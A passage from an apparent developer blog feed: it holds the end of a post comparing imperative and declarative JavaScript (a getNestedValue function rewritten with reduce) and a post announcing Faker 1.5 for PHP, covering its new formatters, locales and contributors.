<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="p">{</span><span class="nx">getNestedValue</span><span class="p">}</span> <span class="k">from</span> <span class="s1">'../lib/objectProperties'</span><span class="p">;</span>
<span class="c1">// same as</span>
<span class="kd">var</span> <span class="nx">objectProperties</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">'../lib/objectProperties'</span><span class="p">)</span>
<span class="kd">var</span> <span class="nx">getNestedValue</span> <span class="o">=</span> <span class="nx">objectProperties</span><span class="p">.</span><span class="nx">getNestedValue</span><span class="p">;</span>

<span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="c1">// do things</span>
<span class="p">}</span>
<span class="c1">// same as</span>
<span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
    <span class="c1">// do things</span>
<span class="p">}</span>
</code></pre></div></div>

<p>With the empty function body defined in the first section, it’s enough to run the tests. Of course, they won’t pass until they are actually implemented.</p>

<h2 id="imperative-implementation">Imperative Implementation</h2>

<p>The classic approach for most programmers would probably be the following:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">export</span> <span class="kd">function</span> <span class="nx">getNestedValue</span><span class="p">(</span><span class="nx">object</span><span class="p">,</span> <span class="nx">propertyName</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">propertyName</span><span class="p">)</span> <span class="k">throw</span> <span class="k">new</span> <span class="nb">Error</span><span class="p">(</span><span class="s1">'Impossible to set null property'</span><span class="p">);</span>
    <span class="kd">var</span> <span class="nx">subObject</span> <span class="o">=</span> <span class="nx">object</span><span class="p">,</span>
        <span class="nx">parts</span> <span class="o">=</span> <span class="nx">propertyName</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="s1">'.'</span><span class="p">),</span>
        <span class="nx">len</span> <span class="o">=</span> <span class="nx">parts</span><span class="p">.</span><span class="nx">length</span><span class="p">,</span>
        <span class="nx">i</span><span class="p">;</span>

    <span class="k">for</span> <span class="p">(</span><span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">len</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">subObject</span> <span class="o">||</span> <span class="k">typeof</span> <span class="nx">subObject</span> <span class="o">===</span> <span class="s1">'undefined'</span><span class="p">)</span> <span class="k">return</span> <span class="kc">undefined</span><span class="p">;</span>
        <span class="nx">subObject</span> <span class="o">=</span> <span class="nx">subObject</span><span class="p">[</span><span class="nx">parts</span><span class="p">[</span><span class="nx">i</span><span class="p">]];</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="nx">subObject</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>It’s perfectly fine, and passes all tests:</p>

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./node_modules/.bin/mocha --compilers js:babel/register
  getNestedValue()
    ✓ should return undefined for undefined objects
    ✓ should return undefined for undefined properties
    ✓ should return the named property if defined
    ✓ should return the deeply nested named property if defined
    ✓ should return undefined for a deeply nested named property if undefined
    ✓ should not accept to get empty property names

  6 passing (1s)
</code></pre></div></div>

<p>What’s “imperative” in this script? The script is basically telling the computer <strong>how</strong> to do something, and as a result what you want to happen will happen. After all, that’s what most programmers are taught to do, right? Right, you’re usually doing imperative programming without knowing it. Most programmers are the <a href="https://en.wikipedia.org/wiki/Le_Bourgeois_gentilhomme">Monsieur Jourdain</a> of imperative programming.</p>

<h2 id="declarative-implementation">Declarative Implementation</h2>

<p>It turns out there is another way: the “declarative” way. In declarative programming, the program tells the computer <strong>what</strong> you would like to happen, and lets the computer figure out how to do it. How does that apply to <code class="highlighter-rouge">getNestedValue()</code>? See below.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">getValue</span><span class="p">(</span><span class="nx">object</span><span class="p">,</span> <span class="nx">propertyName</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">propertyName</span><span class="p">)</span> <span class="k">throw</span> <span class="k">new</span> <span class="nb">Error</span><span class="p">(</span><span class="s1">'Impossible to set null property'</span><span class="p">);</span>
    <span class="k">return</span> <span class="k">typeof</span> <span class="nx">object</span> <span class="o">===</span> <span class="s1">'undefined'</span> <span class="p">?</span> <span class="kc">undefined</span> <span class="p">:</span> <span class="nx">object</span><span class="p">[</span><span class="nx">propertyName</span><span class="p">]</span>
<span class="p">}</span>

<span class="k">export</span> <span class="kd">function</span> <span class="nx">getNestedValue</span><span class="p">(</span><span class="nx">object</span><span class="p">,</span> <span class="nx">propertyName</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">propertyName</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="s1">'.'</span><span class="p">).</span><span class="nx">reduce</span><span class="p">(</span><span class="nx">getValue</span><span class="p">,</span> <span class="nx">object</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Sure enough, this completely different implementation passes all tests. It’s shorter, less error-prone, and, once you’re used to it, more readable. Isn’t it?</p>

<h2 id="reduce">Reduce</h2>

<p>First thing to notice is the use of <code class="highlighter-rouge">reduce()</code>. That’s a neat JavaScript function that is usually underestimated. According to <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce">the MDN <code class="highlighter-rouge">Array.prototype.reduce()</code> page</a>:</p>

<blockquote>
  <p>The <code class="highlighter-rouge">reduce()</code> method applies a function against an accumulator and each value of the array (from left-to-right) to reduce it to a single value.</p>
</blockquote>

<p><code class="highlighter-rouge">reduce()</code> takes a function as parameter (it’s enough to qualify <code class="highlighter-rouge">reduce()</code> for the title of <a href="https://en.wikipedia.org/wiki/Higher-order_function">“higher-order function”</a>). This function argument is executed once for each element in the array (kind of like <code class="highlighter-rouge">forEach()</code>). But the result of this function execution is passed to the function itself the next time it runs.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">sumArray</span><span class="p">(</span><span class="nx">values</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">values</span><span class="p">.</span><span class="nx">reduce</span><span class="p">(</span>
        <span class="p">(</span><span class="nx">previousValue</span><span class="p">,</span> <span class="nx">currentValue</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">previousValue</span> <span class="o">+</span> <span class="nx">currentValue</span><span class="p">,</span>
        <span class="mi">0</span>
    <span class="p">);</span>
<span class="p">}</span>

<span class="nx">sumArray</span><span class="p">([</span><span class="mi">2</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">8</span><span class="p">]);</span> <span class="c1">// 15</span>
</code></pre></div></div>

<p>In this example, you can visualize the three executions of the “accumulator” function:</p>

<ol>
  <li>previousValue = 0, currentValue = 2 =&gt; return 2 + 0 = 2</li>
  <li>previousValue = 2, currentValue = 5 =&gt; return 2 + 5 = 7</li>
  <li>previousValue = 7, currentValue = 8 =&gt; return 7 + 8 = 15</li>
</ol>

<p>The most important thing to understand here is that <code class="highlighter-rouge">reduce()</code> doesn’t expose how it iterates over the array. No temporary index, no <code class="highlighter-rouge">for</code> loop. You don’t know <strong>how</strong> it works, but you know <strong>what</strong> it does. It’s a perfect declarative statement.</p>

<h2 id="composition">Composition</h2>

<p>The <code class="highlighter-rouge">getValue</code> function is actually used as a parameter in <code class="highlighter-rouge">getNestedValue</code> without actually being executed.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">export</span> <span class="kd">function</span> <span class="nx">getNestedValue</span><span class="p">(</span><span class="nx">object</span><span class="p">,</span> <span class="nx">propertyName</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">propertyName</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="s1">'.'</span><span class="p">).</span><span class="nx">reduce</span><span class="p">(</span><span class="nx">getValue</span><span class="p">,</span> <span class="nx">object</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Replacing <code class="highlighter-rouge">getValue</code> by its value, the declarative code could be written as follows:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">export</span> <span class="kd">function</span> <span class="nx">getNestedValue</span><span class="p">(</span><span class="nx">object</span><span class="p">,</span> <span class="nx">propertyName</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">propertyName</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="s1">'.'</span><span class="p">).</span><span class="nx">reduce</span><span class="p">((</span><span class="nx">object</span><span class="p">,</span> <span class="nx">propertyName</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">propertyName</span><span class="p">)</span> <span class="k">throw</span> <span class="k">new</span> <span class="nb">Error</span><span class="p">(</span><span class="s1">'Impossible to set null property'</span><span class="p">);</span>
        <span class="k">return</span> <span class="k">typeof</span> <span class="nx">object</span> <span class="o">===</span> <span class="s1">'undefined'</span> <span class="p">?</span> <span class="kc">undefined</span> <span class="p">:</span> <span class="nx">object</span><span class="p">[</span><span class="nx">propertyName</span><span class="p">]</span>
    <span class="p">},</span> <span class="nx">object</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>But it’s much less readable than the first snippet, right? By exporting the inner code into the simple <code class="highlighter-rouge">getValue</code> function, and <strong>composing</strong> it into the second, the code is made much more readable.</p>

<p>One great thing about <code class="highlighter-rouge">reduce()</code> is that it allows to transform a function designed for scalars to a function working on arrays:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">sum</span><span class="p">(</span><span class="nx">a</span><span class="p">,</span> <span class="nx">b</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">a</span> <span class="o">+</span> <span class="nx">b</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">[</span><span class="mi">2</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">8</span><span class="p">].</span><span class="nx">reduce</span><span class="p">(</span><span class="nx">sum</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> <span class="c1">// 15</span>
<span class="kd">function</span> <span class="nx">multiply</span> <span class="p">(</span><span class="nx">a</span><span class="p">,</span> <span class="nx">b</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">a</span> <span class="o">*</span> <span class="nx">b</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">[</span><span class="mi">2</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">8</span><span class="p">].</span><span class="nx">reduce</span><span class="p">(</span><span class="nx">multiply</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span> <span class="c1">// 80</span>
</code></pre></div></div>

<h2 id="no-more-temporary-variables">No More Temporary Variables</h2>

<p>Did you notice? The imperative style requires the definition of four local variables (<code class="highlighter-rouge">subObject</code>, <code class="highlighter-rouge">parts</code>, <code class="highlighter-rouge">len</code>, and <code class="highlighter-rouge">i</code>), while the declarative style only uses function parameters.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// imperative</span>
<span class="k">export</span> <span class="kd">function</span> <span class="nx">getNestedValue</span><span class="p">(</span><span class="nx">object</span><span class="p">,</span> <span class="nx">propertyName</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">propertyName</span><span class="p">)</span> <span class="k">throw</span> <span class="k">new</span> <span class="nb">Error</span><span class="p">(</span><span class="s1">'Impossible to set null property'</span><span class="p">);</span>
    <span class="kd">var</span> <span class="nx">subObject</span> <span class="o">=</span> <span class="nx">object</span><span class="p">,</span>
        <span class="nx">parts</span> <span class="o">=</span> <span class="nx">propertyName</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="s1">'.'</span><span class="p">),</span>
        <span class="nx">len</span> <span class="o">=</span> <span class="nx">parts</span><span class="p">.</span><span class="nx">length</span><span class="p">,</span>
        <span class="nx">i</span><span class="p">;</span>

    <span class="k">for</span> <span class="p">(</span><span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">len</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">subObject</span> <span class="o">||</span> <span class="k">typeof</span> <span class="nx">subObject</span> <span class="o">===</span> <span class="s1">'undefined'</span><span class="p">)</span> <span class="k">return</span> <span class="kc">undefined</span><span class="p">;</span>
        <span class="nx">subObject</span> <span class="o">=</span> <span class="nx">subObject</span><span class="p">[</span><span class="nx">parts</span><span class="p">[</span><span class="nx">i</span><span class="p">]];</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="nx">subObject</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// declarative</span>
<span class="k">export</span> <span class="kd">function</span> <span class="nx">getNestedValue</span><span class="p">(</span><span class="nx">object</span><span class="p">,</span> <span class="nx">propertyName</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">propertyName</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="s1">'.'</span><span class="p">).</span><span class="nx">reduce</span><span class="p">(</span><span class="nx">getValue</span><span class="p">,</span> <span class="nx">object</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Less variable declarations, less questions about variable naming, less questions about variable scope… That’s a huge benefit I think. In fact, one thing declarative programming gets out of the way is to manage <strong>state</strong>, and that’s a huge relief.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Which way is the best way? None. It’s a matter of coding style, of preference. Some languages (like SQL, regular expressions) force you to use the declarative style. Most languages force you the other way. JavaScript gives you the choice.</p>

<p>The declarative way usually hides the implementation details and lets you focus on the business logic, reducing the amount of code. I tend to love it a bit more every day. I can only advise you to give it a try!</p>

<p>Further pointers:</p>

<ul>
  <li><a href="http://latentflip.com/imperative-vs-declarative/">Imperative vs Declarative</a></li>
  <li><a href="http://www.codenugget.co/2015/03/05/declarative-vs-imperative-programming-web.html">Declarative vs. Imperative Programming for the Web</a></li>
  <li><a href="https://netguru.co/blog/imperative-vs-declarative">Imperative vs. Declarative Programming - Pros and Cons</a></li>
</ul>

    ]]>
   </content>
 </entry>
 
 <entry>
   <title>Faker 1.5 is Released</title>
   <link href="http://www.redotheweb.com/2015/05/29/faker-15-is-released.html"/>
   <updated>2015-05-29T00:00:00+00:00</updated>
   <id>http://www.redotheweb.com/2015/05/29/faker-15-is-released</id>
   <summary>After almost one year of work by more than 70 contributors, Faker, the fake data generator for PHP, is released in version 1.5. With more than 100 changes, Faker is now richer, faster, and more polyglot than ever. Read on to see what's new.</summary>
   <content type="html">
    <![CDATA[
    <p>Yep, it’s here. Almost a year after the previous release, Faker 1.5 has been released, with a ton and a half of new fake data, ridiculously useful new formatters, new locales, and bug fixes. Ready to dive in?</p>

<p><a href="https://www.flickr.com/photos/29106784@N02/3767180666" title="Festival Crowd by Shane Kelly (ballinascreen.com), sur Flickr"><img src="/images/crowd.jpg" style="width:100%" alt="Festival Crowd" /></a></p>

<h2 id="new-formatters">New Formatters</h2>

<p>Faker 1.5 includes a bunch of new formatters, to help you generate even more data types:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">shuffle</span><span class="p">(</span><span class="s1">'hello, world'</span><span class="p">)</span> <span class="c1">// 'rlo,h eoldlw'
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">shuffle</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">))</span> <span class="c1">// array(2, 1, 3)
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">asciify</span><span class="p">(</span><span class="s1">'Hello ***'</span><span class="p">)</span>    <span class="c1">// 'Hello R6+'
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">regexify</span><span class="p">(</span><span class="s1">'[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}'</span><span class="p">)</span> <span class="c1">// sm0@y8k96a.ej
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">password</span>                <span class="c1">// 'k&amp;|X+a45*2['
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">swiftBicNumber</span>          <span class="c1">// RZTIAT22263
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">isbn13</span>                  <span class="c1">// '9790404436093'
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">isbn10</span>                  <span class="c1">// '4881416324'
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">currencyCode</span>            <span class="c1">// EUR
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">biasedNumberBetween</span><span class="p">(</span><span class="nv">$min</span> <span class="o">=</span> <span class="mi">10</span><span class="p">,</span> <span class="nv">$max</span> <span class="o">=</span> <span class="mi">20</span><span class="p">,</span> <span class="nv">$function</span> <span class="o">=</span> <span class="s1">'sqrt'</span><span class="p">)</span> <span class="c1">// 12
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">imageUrl</span><span class="p">(</span><span class="nv">$width</span><span class="p">,</span> <span class="nv">$height</span><span class="p">,</span> <span class="s1">'cats'</span><span class="p">,</span> <span class="kc">true</span><span class="p">,</span> <span class="s1">'Faker'</span><span class="p">)</span> <span class="c1">// 'http://lorempixel.com/800/400/cats/Faker', the url of a cat image with the word "Faker" in it
</span></code></pre></div></div>

<p>Let me focus on just three of them: <code class="highlighter-rouge">shuffle</code>, <code class="highlighter-rouge">regexigy</code>, and <code class="highlighter-rouge">biasedNumberBetween</code>.</p>

<p><code class="highlighter-rouge">shuffle</code> already exists in PHP. The problem is that the native <code class="highlighter-rouge">shuffle()</code> function doesn’t rely on the same randomizer as Faker. Faker’s randomizer, powered by <code class="highlighter-rouge">mt_rand()</code>, uses the Mersenne Twister algorithm to provide more random, and seedable data. Faker’s <code class="highlighter-rouge">shuffle</code> uses Faker’s randomizer, together with the <a href="http://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle">Fisher-Yates algorithm</a>, and works both on strings and arrays. It’s just a million times better than the native version.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// try that, and you'll get exactly the same random data
</span><span class="nv">$faker</span> <span class="o">=</span> <span class="nx">Faker\Factory</span><span class="o">::</span><span class="na">create</span><span class="p">();</span>
<span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">seed</span><span class="p">(</span><span class="mi">5</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="nv">$i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="nv">$i</span> <span class="o">&lt;</span> <span class="mi">10</span><span class="p">;</span> <span class="nv">$i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
  <span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">shuffle</span><span class="p">(</span><span class="s1">'hello, world'</span><span class="p">);</span>
<span class="p">}</span>
<span class="c1">// le ldrhwolo,
// lr,h oldeolw
// wllod lo,hre
// dh owo,rllel
// drleo wlh,lo
//  dewolrll,oh
// wl edoollh,r
// lowd, lhrelo
//  rolwd,lloeh
// ohole,dlwl r
</span></code></pre></div></div>

<p><code class="highlighter-rouge">regexigy</code> takes a regular expression as parameter, and returns a random string satisfying this regular expression. If the “string with wildcard” formatters (<code class="highlighter-rouge">numerify('Hello ###')</code>, <code class="highlighter-rouge">lexify('Hello ???')</code>, <code class="highlighter-rouge">bothify('Hello ##??')</code>, <code class="highlighter-rouge">asciify('Hello ***')</code>) aren’t enough for you, you can always use this powerful formatter.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">regexify</span><span class="p">(</span><span class="s1">'\w'</span><span class="p">)</span>       <span class="c1">// k
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">regexify</span><span class="p">(</span><span class="s1">'(a|b)'</span><span class="p">)</span>    <span class="c1">// b
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">regexify</span><span class="p">(</span><span class="s1">'[aeiou]'</span><span class="p">)</span>  <span class="c1">// o
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">regexify</span><span class="p">(</span><span class="s1">'[a-z]'</span><span class="p">)</span>    <span class="c1">// p
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">regexify</span><span class="p">(</span><span class="s1">'[a-z1-9]'</span><span class="p">)</span> <span class="c1">// w
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">regexify</span><span class="p">(</span><span class="s1">'a*b+c?'</span><span class="p">)</span>   <span class="c1">// abc
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">regexify</span><span class="p">(</span><span class="s1">'a{2}'</span><span class="p">)</span>     <span class="c1">// aa
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">regexify</span><span class="p">(</span><span class="s1">'a{2,3}'</span><span class="p">)</span>   <span class="c1">// aa
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">regexify</span><span class="p">(</span><span class="s1">'[aeiou]{2,3}'</span><span class="p">)</span> <span class="c1">// ui
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">regexify</span><span class="p">(</span><span class="s1">'[a-z]{2,3}'</span><span class="p">)</span> <span class="c1">// rw
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">regexify</span><span class="p">(</span><span class="s1">'(a|b){2,3}'</span><span class="p">)</span> <span class="c1">// abb
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">regexify</span><span class="p">(</span><span class="s1">'\.\*\?\+'</span><span class="p">)</span> <span class="c1">// .*?+
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">regexify</span><span class="p">(</span><span class="s1">'[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,4}'</span><span class="p">)</span> <span class="c1">// a8%1-_@zvk.sgha
</span></code></pre></div></div>

<p><code class="highlighter-rouge">regexify</code> supports a subset of the RegExp syntax, usually enough to match your needs. But Unicode, negated classes, unbounded ranges, subpatterns, back references, assertions, recursive patterns, and comments are not supported. Escaping support is extremely fragile.</p>

<p>This formatter is also VERY slow. Use it only when no other formatter can generate the fake data you want. For instance, prefer calling <code class="highlighter-rouge">$faker-&gt;email</code> rather than <code class="highlighter-rouge">regexify</code> with the previous regular expression.</p>

<p>Also note than <code class="highlighter-rouge">bothify</code> can probably do most of what <code class="highlighter-rouge">regexify</code> does, but much faster. For instance, for a dummy email generation, try <code class="highlighter-rouge">$faker-&gt;bothify('?????????@???.???')</code>.</p>

<p><code class="highlighter-rouge">biasedNumberBetween($min, $max, $function)</code> returns a random number between two boundaries, but with a non-uniform chance. You can pass a distribution function to have more chances to get a number close to the start, to the end, or to the middle.</p>

<p>The algorithm creates two doubles, x ∈ [0, 1], y ∈ [0, 1) and checks whether the return value of <code class="highlighter-rouge">$function</code> for x is greater than or equal to y. If this is the case the number is accepted and x is mapped to the appropriate integer between <code class="highlighter-rouge">$min</code> and <code class="highlighter-rouge">$max</code>. Otherwise two new doubles are created until the pair is accepted.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">biasedNumberBetween</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="p">[</span><span class="s1">'\Faker\Provider\Biased'</span><span class="p">,</span> <span class="s1">'unbiased'</span><span class="p">])</span> <span class="c1">// 5
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">biasedNumberBetween</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="p">[</span><span class="s1">'\Faker\Provider\Biased'</span><span class="p">,</span> <span class="s1">'linearLow'</span><span class="p">])</span> <span class="c1">// 3
</span><span class="nv">$faker</span><span class="o">-&gt;</span><span class="na">biasedNumberBetween</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="p">[</span><span class="s1">'\Faker\Provider\Biased'</span><span class="p">,</span> <span class="s1">'linearHigh'</span><span class="p">])</span> <span class="c1">// 7
</span></code></pre></div></div>

<p><code class="highlighter-rouge">$function</code> can be any callable. The limit is your imagination!</p>

<h2 id="new-locales">New Locales</h2>

<p>People from all around the world use Faker. Version 1.5 comes with close to 60 locales, including 17 new ones:</p>

<ul>
  <li>Arabic (<code class="highlighter-rouge">ar_JO</code>)</li>
  <li>Austrian (<code class="highlighter-rouge">at_AT</code>)</li>
  <li>Belgium (<code class="highlighter-rouge">be_BE</code>)</li>
  <li>English for New Zealand (<code class="highlighter-rouge">en_NZ</code>)</li>
  <li>Uganda (<code class="highlighter-rouge">en_UG</code>)</li>
  <li>Spanish for Venezuela (<code class="highlighter-rouge">es_VE</code>)</li>
  <li>Persian (<code class="highlighter-rouge">fa_IR</code>)</li>
  <li>Indonesian (<code class="highlighter-rouge">id_ID</code>)</li>
  <li>Georgian (<code class="highlighter-rouge">ka_GE</code>)</li>
  <li>Kazakh (<code class="highlighter-rouge">kk_KZ</code>)</li>
  <li>Korean (<code class="highlighter-rouge">ko_KR</code>)</li>
  <li>Nepali (<code class="highlighter-rouge">ne_NP</code>)</li>
  <li>Norwegian (<code class="highlighter-rouge">no_NO</code>)</li>
  <li>Slovenian (<code class="highlighter-rouge">sl_SI</code>)</li>
  <li>Swedish (<code class="highlighter-rouge">sv_SE</code>)</li>
  <li>Vietnamese (<code class="highlighter-rouge">vi_VN</code>)</li>
  <li>Traditional Chinese (<code class="highlighter-rouge">zh_TW</code>)</li>
</ul>

<h2 id="third-party-libraries-and-formatters-based-on-faker">Third-Party Libraries and Formatters Based on Faker</h2>

<p>I love when people create new formatters, but Faker’s destiny isn’t to host them all. The core Faker repository should provide the providers and formatters required for most usages, but not all. Now, if you create a particularly smart Faker provider for a rare use case, send me a pull request and I’ll mention it <a href="https://github.com/fzaninotto/Faker#third-party-libraries-extendingbased-on-faker">in the README</a>. Here is a list of tools and formatters that you can already use:</p>

<ul>
  <li><a href="https://github.com/willdurand/BazingaFakerBundle">BazingaFakerBundle</a>: Put the awesome Faker library into the Symfony2 DIC and populate your database with fake data.</li>
  <li><a href="https://github.com/EmanueleMinotto/FakerServiceProvider">FakerServiceProvider</a>: Faker Service Provider for Silex</li>
  <li><a href="https://github.com/bit3/faker-cli">faker-cli</a>: Command Line Tool for the Faker PHP library</li>
  <li><a href="https://github.com/h4cc/AliceFixturesBundle">AliceFixturesBundle</a>: A Symfony2 bundle for using Alice and Faker with data fixtures. Abled to use Doctrine ORM as well as Doctrine MongoDB ODM.</li>
  <li><a href="https://github.com/thephpleague/factory-muffin">Factory Muffin</a>: enable the rapid creation of objects (PHP port of factory-girl)</li>
  <li><a href="https://github.com/fzaninotto/CompanyNameGenerator">CompanyNameGenerator</a>: Generate names for English tech companies with class</li>
  <li><a href="https://github.com/spyrit/datalea">datalea</a> A highly customizable random test data generator web app</li>
  <li><a href="https://github.com/frequenc1/newage-ipsum">newage-ipsum</a>: A new aged ipsum provider for the faker library inspired by http://sebpearce.com/bullshit/</li>
  <li><a href="https://github.com/prewk/xml-faker">xml-faker</a>: Create fake XML with Faker</li>
  <li><a href="https://github.com/denheck/faker-context">faker-context</a>: Behat context using Faker to generate testdata</li>
  <li><a href="https://github.com/swekaj/CronExpressionGenerator">CronExpressionGenerator</a>: Faker provider for generating random, valid cron expressions.</li>
</ul>

<h2 id="and-more">And More</h2>

<p>Between Faker 1.4 and 1.5, more than 100 pull requests were merged. They’re all listed in <a href="https://github.com/fzaninotto/Faker/blob/master/CHANGELOG.md">the CHANGELOG file</a>. Suffice to say that they make Faker more stable, faster, and easier to use. For instance, your IDE will know how to suggest more formatters, you will be able to seed the generator properly, you will get more up to date user agents, color names in Dutch, or get valid fake emails whatever the locale.</p>

<p>Faker 1.5 works on PHP 5.3.3 through PHP 7.0. Update your local installation using <code class="highlighter-rouge">composer</code>, there is no BC break.</p>

<h2 id="thank-you-thank-you-thank-you-thank-you-thank-you-thank-you-thank-you-all">Thank You Thank You Thank You Thank You Thank You Thank You Thank You All</h2>

<p>I didn’t generate the section title with Faker. I didn’t use copy/paste either. I typed it all. That’s how much I want to thank the 70+ contributors who fixed bugs, sent pull requests, reviewed code, commented, helped newcomers, etc. These people simply made Faker better. They deserve to be mentioned here. Please give a huge round of applause to the Faker 1.5 crowd:</p>

<ul>
  <li><a href="http://github.com/aivus">aivus</a></li>
  <li><a href="http://github.com/ajbdev">ajbdev</a></li>
  <li><a href="http://github.com/alesf">alesf</a></li>
  <li><a href="http://github.com/AlexCutts">AlexCutts</a></li>
  <li><a href="http://github.com/ankitpokhrel">ankitpokhrel</a></li>
  <li><a href="http://github.com/asika32764">asika32764</a></li>
  <li><a href="http://github.com/behramcelen">behramcelen</a></li>
  <li><a href="http://github.com/belendel">belendel</a></li>
  <li><a href="http://github.com/bessl">bessl</a></li>
  <li><a href="http://github.com/byan">byan</a></li>
